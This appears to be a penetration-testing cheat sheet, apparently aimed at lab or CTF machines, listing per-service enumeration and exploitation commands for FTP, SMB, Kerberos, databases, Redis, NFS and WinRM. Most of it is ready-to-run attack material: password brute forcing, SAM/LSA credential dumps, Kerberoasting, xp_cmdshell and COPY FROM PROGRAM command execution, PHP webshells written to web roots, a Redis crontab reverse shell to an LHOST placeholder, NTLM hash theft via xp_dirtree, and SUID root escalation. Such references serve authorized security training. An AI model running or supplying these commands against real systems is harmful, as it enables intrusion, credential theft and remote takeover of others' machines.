kavklaw@llm $ cat enumeration-checklist.md
Found an open port? Here's exactly what to do next. Service-by-service enumeration guide.
What to look for: Anonymous access, writable directories, version-specific vulnerabilities, sensitive files.
# 1. Try anonymous login
ftp target
# User: anonymous / Password: (blank or email)
# 2. List all files (including hidden)
ftp> ls -la
ftp> cd .. # Try traversing up
ftp> binary # Switch to binary mode before downloading
# 3. Download everything
wget -r ftp://anonymous:@target/
# Or: mirror with lftp
lftp -e 'mirror --verbose /' -u anonymous, target
# 4. Check for writable directories (upload webshell?)
ftp> put test.txt
# If web root is accessible via FTP → upload PHP shell
# 5. Nmap scripts
nmap --script=ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor,ftp-proftpd-backdoor -p 21 target
# 6. Brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://target
medusa -h target -u admin -P rockyou.txt -M ftp
# Quick wins:
# - vsftpd 2.3.4 → backdoor (Metasploit: exploit/unix/ftp/vsftpd_234_backdoor)
# - ProFTPd 1.3.5 → mod_copy (SITE CPFR / SITE CPTO)
# - Anonymous access with writable web directory → webshell upload
What to look for: Version CVEs, weak credentials, key reuse, user enumeration.
# 1. Banner grab (version info)
nc -nv target 22
nmap -sV -p 22 target
# 2. Check for known CVEs
# OpenSSH < 7.7 → CVE-2018-15473 (username enumeration)
# OpenSSH 8.5p1-9.7p1 → CVE-2024-6387 (regreSSHion — RCE)
searchsploit openssh [version]
# 3. Try common credentials
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target -t 4
hydra -L users.txt -P passwords.txt ssh://target -t 4
# 4. If you find an SSH key
chmod 600 id_rsa
ssh -i id_rsa user@target
# Key password protected? Crack it:
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=rockyou.txt
# 5. Username enumeration (CVE-2018-15473)
python3 ssh-username-enum.py --userlist /usr/share/seclists/Usernames/top-usernames-shortlist.txt target
# 6. SSH config enumeration (nmap)
nmap --script=ssh-auth-methods,ssh2-enum-algos -p 22 target
# Quick wins:
# - Default creds (admin:admin, root:toor, etc.)
# - Reused private keys from other services
# - Weak passwords from credential stuffing
What to look for: Everything. Web is the #1 attack surface.
# 1. Basic recon
curl -I http://target # Headers (Server, X-Powered-By)
whatweb http://target # Technology fingerprinting
nikto -h http://target # Vulnerability scanner
# 2. Directory / file brute force
gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -x php,html,txt,bak
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fc 404
feroxbuster -u http://target -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# 3. Subdomain / vhost enumeration
gobuster vhost -u http://target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
ffuf -u http://target.htb -H "Host: FUZZ.target.htb" -w subdomains.txt -fc 302
# 4. Check standard paths
curl http://target/robots.txt
curl http://target/sitemap.xml
curl http://target/.git/HEAD # Git exposure
curl http://target/.env # Environment variables
curl http://target/wp-login.php # WordPress
curl http://target/administrator/ # Joomla
curl http://target/admin/ # Generic admin panel
# 5. SSL/TLS (port 443)
sslscan target
nmap --script=ssl-cert,ssl-enum-ciphers -p 443 target
# Check CN and SAN in cert for hostnames!
# 6. Full web app testing
# See: /cheatsheets/web-hacking-checklist.html
# Quick wins:
# - Default credentials on admin panels
# - Exposed .git → dump source code
# - Known CMS vulnerabilities (wpscan, joomscan)
# - Server version with known CVEs (Apache 2.4.49 → path traversal RCE)
What to look for: Null sessions, readable shares, writable shares, version vulnerabilities.
# 1. Enumerate shares (null session)
smbclient -L //target -N
smbmap -H target
smbmap -H target -u '' -p ''
crackmapexec smb target -u '' -p '' --shares
# 2. Connect to shares
smbclient //target/sharename -N
smbclient //target/sharename -U 'user%pass'
# Download everything: prompt OFF → recurse ON → mget *
# 3. Full enumeration (enum4linux)
enum4linux -a target
enum4linux-ng -A target
# 4. RPC enumeration
rpcclient -U '' -N target
rpcclient> enumdomusers
rpcclient> enumdomgroups
rpcclient> querydispinfo
rpcclient> queryuser 0x1f4
rpcclient> getdompwinfo
# 5. CrackMapExec (comprehensive)
crackmapexec smb target -u '' -p '' --users
crackmapexec smb target -u '' -p '' --groups
crackmapexec smb target -u user -p pass --shares
crackmapexec smb target -u user -p pass --sam # Dump SAM
crackmapexec smb target -u user -p pass --lsa # Dump LSA
# 6. Nmap scripts
nmap --script=smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 target
nmap --script=smb-vuln* -p 445 target
# 7. Check for known vulns
nmap --script=smb-vuln-ms17-010 -p 445 target # EternalBlue
nmap --script=smb-vuln-ms08-067 -p 445 target # Conficker
# Quick wins:
# - Null session access → enumerate everything
# - Writable share in web root → upload webshell
# - EternalBlue (MS17-010) → SYSTEM
# - Password in share files (config files, scripts, notes)
What to look for: Zone transfers, subdomain enumeration, version info.
# 1. Zone transfer (AXFR) — top priority!
dig axfr @target target.htb
host -l target.htb target
# 2. Enumerate records
dig any target.htb @target
dig A target.htb @target
dig MX target.htb @target
dig TXT target.htb @target
dig NS target.htb @target
# 3. Reverse DNS lookup
dig -x 10.10.10.5 @target
# 4. Subdomain brute force
gobuster dns -d target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r target:53
dnsrecon -d target.htb -D subdomains.txt -t brt
dnsenum --dnsserver target target.htb
# 5. DNS cache snooping
nmap --script=dns-cache-snoop -p 53 target
# 6. Version query
dig version.bind CHAOS TXT @target
# Quick wins:
# - Zone transfer → complete map of internal network
# - Subdomains revealing hidden services (dev.target.htb, admin.target.htb)
# - TXT records with SPF, DKIM, or sensitive info
What to look for: Default community strings, system info, running processes, network config.
# 1. Brute force community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target snmp
# 2. Walk the MIB tree (with "public" community string)
snmpwalk -v2c -c public target
snmpwalk -v2c -c public target 1.3.6.1.2.1.1 # System info
snmpwalk -v2c -c public target 1.3.6.1.4.1.77.1.2 # User accounts
snmpwalk -v2c -c public target 1.3.6.1.2.1.25.4.2 # Running processes
snmpwalk -v2c -c public target 1.3.6.1.2.1.25.6.3 # Installed software
snmpwalk -v2c -c public target 1.3.6.1.2.1.6.13 # TCP connections
snmpwalk -v2c -c public target 1.3.6.1.2.1.4.34 # IP addresses
# 3. snmp-check (formatted output)
snmp-check target
# 4. Extended OIDs (readable names)
snmpwalk -v2c -c public target hrSWInstalledName # Software
snmpwalk -v2c -c public target hrMemorySize # Memory
# 5. Nmap
nmap -sU --script=snmp-info,snmp-brute,snmp-netstat,snmp-processes,snmp-sysdescr -p 161 target
# Quick wins:
# - Running processes may reveal software/versions
# - Network interfaces reveal internal IPs
# - "private" community string → writable SNMP (change config!)
# - Usernames from user account OIDs
What to look for: Anonymous bind, user enumeration, domain info, password policies.
# 1. Check for anonymous bind
ldapsearch -x -H ldap://target -b '' -s base namingContexts
ldapsearch -x -H ldap://target -b "dc=domain,dc=htb"
# 2. Enumerate users
ldapsearch -x -H ldap://target -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccountName
ldapsearch -x -H ldap://target -b "dc=domain,dc=htb" "(objectClass=person)" cn mail
# 3. Enumerate groups
ldapsearch -x -H ldap://target -b "dc=domain,dc=htb" "(objectClass=group)" cn member
# 4. Search for descriptions (often contain passwords!)
ldapsearch -x -H ldap://target -b "dc=domain,dc=htb" "(description=*)" description sAMAccountName
# 5. Authenticated enumeration
ldapsearch -x -H ldap://target -D "[email protected]" -w 'password' -b "dc=domain,dc=htb"
# 6. ldapdomaindump (pretty HTML output)
ldapdomaindump -u 'domain\user' -p 'password' target
# 7. Nmap
nmap --script=ldap-search,ldap-rootdse,ldap-brute -p 389 target
# Quick wins:
# - Anonymous bind → enumerate entire domain
# - Description fields with passwords
# - Service accounts with SPNs → Kerberoasting
# - Disabled pre-auth accounts → AS-REP Roasting
What to look for: Valid usernames, AS-REP roastable accounts, Kerberoastable SPNs.
# 1. Username enumeration (no creds needed)
kerbrute userenum -d domain.htb --dc target /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# 2. AS-REP Roasting (no creds needed, if pre-auth disabled)
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip target
# Crack the hash:
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
# 3. Kerberoasting (needs valid creds)
impacket-GetUserSPNs domain.htb/user:pass -dc-ip target -request
# Crack:
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
# 4. Password spraying
kerbrute passwordspray -d domain.htb --dc target users.txt 'Password1'
crackmapexec smb target -u users.txt -p 'Password1' --no-bruteforce
# 5. Nmap
nmap --script=krb5-enum-users --script-args krb5-enum-users.realm='domain.htb' -p 88 target
# Quick wins:
# - Enumerate valid usernames → password spray
# - AS-REP Roast → crack weak passwords offline
# - Kerberoast service accounts → often have weak passwords
# See: /cheatsheets/active-directory-cheatsheet.html
What to look for: Default sa password, xp_cmdshell for RCE, linked servers.
# 1. Connect
impacket-mssqlclient sa:password@target
impacket-mssqlclient domain/user:password@target -windows-auth
sqsh -S target -U sa -P password
# 2. Basic enumeration
SELECT @@version;
SELECT name FROM master.dbo.sysdatabases;
SELECT name FROM sys.databases;
SELECT * FROM information_schema.tables;
# 3. Enable xp_cmdshell (RCE!)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt';
# 4. Read files
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS x;
# 5. Check linked servers
SELECT * FROM sys.servers;
EXEC ('xp_cmdshell ''whoami''') AT [linked_server];
# 6. Steal hashes (NTLM relay via xp_dirtree)
EXEC xp_dirtree '\\LHOST\share';
# Capture with: sudo responder -I tun0
# 7. Nmap
nmap --script=ms-sql-info,ms-sql-config,ms-sql-empty-password,ms-sql-ntlm-info -p 1433 target
# 8. Brute force
hydra -l sa -P rockyou.txt target mssql
crackmapexec mssql target -u sa -p rockyou.txt
# Quick wins:
# - sa:sa or sa:(empty) → xp_cmdshell → RCE
# - Linked servers → lateral movement
# - xp_dirtree to steal NTLM hashes
What to look for: Empty root password, FILE privilege for read/write, UDF exploitation.
# 1. Connect
mysql -h target -u root -p
mysql -h target -u root # Try empty password
# 2. Enumerate
SELECT @@version;
SHOW DATABASES;
SELECT user,host,authentication_string FROM mysql.user;
SHOW GRANTS;
# 3. Read files (FILE privilege)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
# 4. Write files (FILE privilege + writable directory)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
# 5. UDF exploitation (for RCE)
# If you can write to plugin directory, compile and load a UDF
# See: https://www.exploit-db.com/exploits/1518
# 6. Nmap
nmap --script=mysql-enum,mysql-empty-password,mysql-info,mysql-databases -p 3306 target
# 7. Brute force
hydra -l root -P rockyou.txt target mysql
# Quick wins:
# - root with empty password
# - FILE privilege → read source code → find creds
# - FILE privilege → write webshell → RCE
# - Password hashes from mysql.user
What to look for: Default creds, COPY FROM PROGRAM for RCE, file read.
# 1. Connect
psql -h target -U postgres
psql -h target -U postgres -d database_name
# 2. Enumerate
\l -- List databases
\dt -- List tables
\du -- List users/roles
SELECT current_user;
SELECT version();
# 3. Read files
SELECT pg_read_file('/etc/passwd');
COPY (SELECT '') TO PROGRAM 'cat /etc/passwd';
# 4. Command execution (superuser)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE cmd_exec;
# 5. Write files
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
# 6. Brute force
hydra -l postgres -P rockyou.txt target postgresql
# 7. Nmap
nmap --script=pgsql-brute -p 5432 target
# Quick wins:
# - postgres:postgres default creds
# - COPY FROM PROGRAM → direct RCE as postgres user
# - pg_read_file → read config files, SSH keys
What to look for: No authentication, write SSH keys, write webshell, config dump.
# 1. Connect
redis-cli -h target
redis-cli -h target -a password
# 2. Enumerate
INFO # Server info, version, OS
CONFIG GET * # All config
CONFIG GET dir # Current working directory
CONFIG GET dbfilename # Current DB filename
KEYS * # All keys
GET key_name # Read a key
DBSIZE # Number of keys
# 3. Write SSH key for access
ssh-keygen -t rsa -f redis_key -N ""
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > payload.txt
cat payload.txt | redis-cli -h target -x set ssh_key
redis-cli -h target CONFIG SET dir /root/.ssh
redis-cli -h target CONFIG SET dbfilename authorized_keys
redis-cli -h target SAVE
# 4. Write webshell
redis-cli -h target CONFIG SET dir /var/www/html
redis-cli -h target CONFIG SET dbfilename shell.php
redis-cli -h target SET payload '<?php system($_GET["cmd"]); ?>'
redis-cli -h target SAVE
# 5. Write crontab
redis-cli -h target CONFIG SET dir /var/spool/cron/crontabs
redis-cli -h target CONFIG SET dbfilename root
redis-cli -h target SET payload "\n\n* * * * * bash -i >& /dev/tcp/LHOST/4444 0>&1\n\n"
redis-cli -h target SAVE
# 6. Nmap
nmap --script=redis-info -p 6379 target
# Quick wins:
# - No auth → write SSH key → SSH as root
# - No auth → write webshell → RCE
# - Dump all keys → may contain passwords/tokens
What to look for: No authentication, sensitive data in collections, credentials.
# 1. Connect
mongosh target:27017
mongosh "mongodb://target:27017"
mongosh "mongodb://user:pass@target:27017"
# 2. Enumerate
show dbs
use database_name
show collections
db.collection.find()
db.collection.find().pretty()
db.collection.count()
# 3. Search for creds
db.users.find()
db.accounts.find()
db.credentials.find()
# Search all collections:
db.getCollectionNames().forEach(function(c){print("---"+c+"---");db[c].find().forEach(printjson)})
# 4. Dump everything
mongodump --host target --port 27017 --out ./dump
# 5. Nmap
nmap --script=mongodb-databases,mongodb-info -p 27017 target
# Quick wins:
# - No authentication → dump everything
# - User credentials stored in cleartext
# - API keys, tokens, session data in collections
What to look for: Exported shares, no_root_squash, sensitive files.
# 1. Show exports
showmount -e target
nmap --script=nfs-showmount,nfs-ls -p 2049 target
# 2. Mount the share
mkdir /tmp/nfs
mount -t nfs target:/share /tmp/nfs
mount -t nfs -o vers=2 target:/share /tmp/nfs # Try NFSv2 if v3/v4 fails
# 3. Enumerate files
ls -la /tmp/nfs/
find /tmp/nfs/ -type f -name "*.conf" -o -name "*.txt" -o -name "id_rsa" 2>/dev/null
# 4. no_root_squash exploitation
# If no_root_squash is set, create SUID binary:
cp /bin/bash /tmp/nfs/bash_suid
chmod u+s /tmp/nfs/bash_suid
# On target: /share/bash_suid -p → root!
# 5. Clean up
umount /tmp/nfs
# Quick wins:
# - Home directories with SSH keys
# - Config files with passwords
# - no_root_squash → instant root via SUID
What to look for: Registered RPC services (NFS, NIS, etc.).
# 1. List RPC services
rpcinfo -p target
rpcinfo target
# 2. Nmap
nmap --script=rpc-grind,rpcinfo -p 111 target
# 3. If NFS is registered → enumerate NFS (see port 2049)
# 4. If NIS is registered → ypwhich, ypcat
# Quick wins:
# - NFS exports accessible from your IP
# - NIS domain name leak → ypcat passwd
What to look for: Valid credentials for PS remoting.
# 1. Test credentials
crackmapexec winrm target -u user -p password
crackmapexec winrm target -u user -H NTLM_HASH
# 2. Get a shell
evil-winrm -i target -u user -p password
evil-winrm -i target -u user -H NTLM_HASH
# 3. Upload/download files (evil-winrm built-in)
*Evil-WinRM* PS> upload /tmp/linpeas.exe C:\Temp\linpeas.exe
*Evil-WinRM* PS> download C:\flag.txt /tmp/flag.txt
# Quick wins:
# - Valid local admin creds → full PowerShell access
# - Hash from SAM dump → pass-the-hash with evil-winrm
For every open port you find, follow this process:
# 1. Identify the service and version
nmap -sV -sC -p PORT target
# 2. Search for known vulnerabilities
searchsploit SERVICE VERSION
google: "SERVICE VERSION exploit"
# 3. Try default/anonymous access
# FTP: anonymous, SMB: null session, Redis: no auth, etc.
# 4. Enumerate everything the service exposes
# Users, shares, databases, files, configs
# 5. Look for credentials
# Config files, descriptions, cleartext passwords
# 6. Try brute force (last resort)
hydra -l admin -P rockyou.txt target SERVICE
# 7. Check for misconfigurations
# Writable directories, excessive permissions, debug modes